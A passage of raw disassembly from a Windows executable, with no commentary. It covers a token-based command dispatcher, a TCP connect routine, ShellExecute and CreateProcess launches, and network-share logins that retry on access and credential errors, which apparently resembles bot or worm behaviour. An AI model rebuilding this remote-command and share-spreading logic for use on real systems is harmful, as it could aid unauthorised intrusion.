___:00401569j mov al, [esp+4] cmp al, 20h jz short loc_41BC2F cmp al, 9 jz short loc_41BC2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BC2F: ; CODE XREF: ___:0041BC26j ; ___:0041BC2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: ___:00401ED8j mov eax, [esp+4] push offset dword_443E8C push eax nop call near ptr 77C3F010h add esp, 8 test eax, eax jz short loc_41BC74 push eax call near ptr 77C40AB1h nop add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BC74: ; CODE XREF: ___:0041BC65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BC90 proc near ; CODE XREF: sub_401479j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BEEE mov esi, offset byte_446F70 mov eax, edi loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BCD2 test cl, cl jz short loc_41BCCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BCD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BCAA loc_41BCCE: ; CODE XREF: sub_41BC90+26j xor eax, eax jmp short loc_41BCD7 ; --------------------------------------------------------------------------- loc_41BCD2: ; CODE XREF: sub_41BC90+22j ; sub_41BC90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BCD7: ; CODE XREF: sub_41BC90+40j test eax, eax jz loc_41BEEE push 20h lea eax, [esp+44h+var_20] push edi push eax nop call near ptr 77C47A90h mov edi, dword_50FAF4 lea ecx, [esp+4Ch+var_20] push offset dword_443DD4 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BEEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BD17: ; CODE XREF: sub_41BC90+A4j push offset dword_443DD4 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BEEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BD17 mov ebp, [esp+40h+var_30] mov esi, offset dword_443EA8 mov eax, ebp loc_41BD41: ; CODE XREF: sub_41BC90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BD69 test dl, dl jz short loc_41BD65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BD69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD41 loc_41BD65: ; CODE XREF: sub_41BC90+BDj xor eax, eax jmp short loc_41BD6E ; --------------------------------------------------------------------------- loc_41BD69: ; CODE XREF: sub_41BC90+B9j ; sub_41BC90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BD6E: ; CODE XREF: sub_41BC90+D7j test eax, eax jnz short loc_41BD7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BD7C: ; CODE XREF: sub_41BC90+E0j mov esi, offset dword_443EA4 mov eax, ebp loc_41BD83: ; CODE XREF: sub_41BC90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BDAB test dl, dl jz short loc_41BDA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BDAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD83 loc_41BDA7: ; CODE XREF: sub_41BC90+FFj xor eax, eax jmp short loc_41BDB0 ; --------------------------------------------------------------------------- loc_41BDAB: ; CODE XREF: sub_41BC90+FBj ; sub_41BC90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDB0: ; CODE XREF: sub_41BC90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BDFA mov esi, offset dword_443EA0 mov edx, edi loc_41BDBF: ; CODE XREF: sub_41BC90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BDE7 test bl, bl jz short loc_41BDE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BDE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BDBF loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj xor edx, edx jmp short loc_41BDEC ; --------------------------------------------------------------------------- loc_41BDE7: ; CODE XREF: sub_41BC90+137j ; sub_41BC90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BDEC: ; CODE XREF: sub_41BC90+155j test edx, edx jnz short loc_41BDFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BDFA: ; CODE XREF: sub_41BC90+126j ; sub_41BC90+15Ej mov esi, offset dword_443E9C mov edx, ebp loc_41BE01: ; CODE XREF: sub_41BC90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE29 test bl, bl jz short loc_41BE25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE01 loc_41BE25: ; CODE XREF: sub_41BC90+17Dj xor edx, edx jmp short loc_41BE2E ; --------------------------------------------------------------------------- loc_41BE29: ; CODE XREF: sub_41BC90+179j ; sub_41BC90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE2E: ; CODE XREF: sub_41BC90+197j test edx, edx jnz short loc_41BE74 mov esi, offset dword_443E98 mov edx, edi loc_41BE39: ; CODE XREF: sub_41BC90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE61 test bl, bl jz short loc_41BE5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE39 loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j xor edx, edx jmp short loc_41BE66 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BC90+1B1j ; sub_41BC90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE66: ; CODE XREF: sub_41BC90+1CFj test edx, edx jnz short loc_41BE74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE74: ; CODE XREF: sub_41BC90+1A0j ; sub_41BC90+1D8j mov esi, offset dword_443E94 mov ecx, ebp loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BEA3 test dl, dl jz short loc_41BE9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BEA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BE7B loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j xor ecx, ecx jmp short loc_41BEA8 ; --------------------------------------------------------------------------- loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j ; sub_41BC90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BEA8: ; CODE XREF: sub_41BC90+211j test ecx, ecx jnz short loc_41BEEE mov esi, offset dword_443E90 mov eax, edi loc_41BEB3: ; CODE XREF: sub_41BC90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BEDB test cl, cl jz short loc_41BED7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BEDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BEB3 loc_41BED7: ; CODE XREF: sub_41BC90+22Fj xor eax, eax jmp short loc_41BEE0 ; --------------------------------------------------------------------------- loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj ; sub_41BC90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEE0: ; CODE XREF: sub_41BC90+249j test eax, eax jnz short loc_41BEEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEEE: ; CODE XREF: sub_41BC90+Dj ; sub_41BC90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BC90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BFA0 proc near ; CODE XREF: sub_402004j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C008 cmp esi, 0FFFFFFFFh jz short loc_41C008 mov eax, [esp+18h+arg_0] push eax nop call near ptr 71AB2BF4h mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx call near ptr 71AB2B66h nop lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 nop call near ptr 71AB406Ah test eax, eax jnz short loc_41BFF9 mov bl, 1 loc_41BFF9: ; CODE XREF: sub_41BFA0+55j push esi nop call near ptr 71AB9639h mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C008: ; CODE XREF: sub_41BFA0+18j ; sub_41BFA0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41BFA0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C030 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 call near ptr 7CA41110h nop cmp eax, 20h setnl al retn sub_41C030 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_402149j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h nop call near ptr 2800000h test eax, eax setnle al pop edi add esp, 54h retn sub_41C070 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C0E0: ; CODE XREF: ___:00401875j sub esp, 354h mov eax, off_443EB4 mov ecx, dword_443EB8 mov [esp+0], eax mov al, byte_446F70 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EBC rep stosd mov ecx, off_443EAC mov [esp+10h], edx mov dx, word_443EB0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 27B0000h mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50BB8C push offset dword_50BB8C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_436FA8 ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C1C8 cmp eax, 4C3h jnz short loc_41C1D1 loc_41C1C8: ; CODE XREF: ___:0041C1BFj push edi push edi push edi push esi call sub_436FA8 ; --------------------------------------------------------------------------- loc_41C1D1: ; CODE XREF: ___:0041C1C6j pop edi cmp eax, 5 pop esi jz short loc_41C1E8 cmp eax, 4C3h jz short loc_41C1E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C1E8: ; CODE XREF: ___:0041C1D6j ; ___:0041C1DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C250: ; CODE XREF: ___:00401EC9j sub esp, 354h mov eax, off_443EB4 mov ecx, dword_443EB8 mov [esp+0], eax mov al, byte_446F70 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EBC rep stosd mov ecx, off_443EAC mov [esp+10h], edx mov dx, word_443EB0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 nop call near ptr 27B0000h mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C338 mov esi, dword_50F8D0 loc_41C31C: ; CODE XREF: ___:0041C336j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C31C loc_41C338: ; CODE XREF: ___:0041C314j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C390 proc near ; CODE XREF: sub_401D7Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C390 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41C390 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+118h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+60h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C610 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C610 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_401424 lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_401424 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401424 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401424 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401424 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B36 mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C83C push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C7CC mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C7CE ; --------------------------------------------------------------------------- loc_41C7CC: ; CODE XREF: sub_41C610+1AFj xor edi, edi loc_41C7CE: ; CODE XREF: sub_41C610+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C83C: ; CODE XREF: sub_41C610+C0j lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41C9BB push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41C94B mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C94D ; --------------------------------------------------------------------------- loc_41C94B: ; CODE XREF: sub_41C610+32Ej xor edi, edi loc_41C94D: ; CODE XREF: sub_41C610+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C9BB: ; CODE XREF: sub_41C610+23Fj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CBF6 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016AE push offset word_44759A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CB5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41CB5E: ; CODE XREF: sub_41C610+4D6j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CB86 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CB88 ; --------------------------------------------------------------------------- loc_41CB86: ; CODE XREF: sub_41C610+569j xor edi, edi loc_41CB88: ; CODE XREF: sub_41C610+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FBE lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FBE lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CBF6: ; CODE XREF: sub_41C610+3BEj lea ecx, [ebp+0BCh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CD9B push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CD0E mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CD10 ; --------------------------------------------------------------------------- loc_41CD0E: ; CODE XREF: sub_41C610+6F1j xor edi, edi loc_41CD10: ; CODE XREF: sub_41C610+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CD9B: ; CODE XREF: sub_41C610+5FCj lea ecx, [ebp+118h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CF40 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 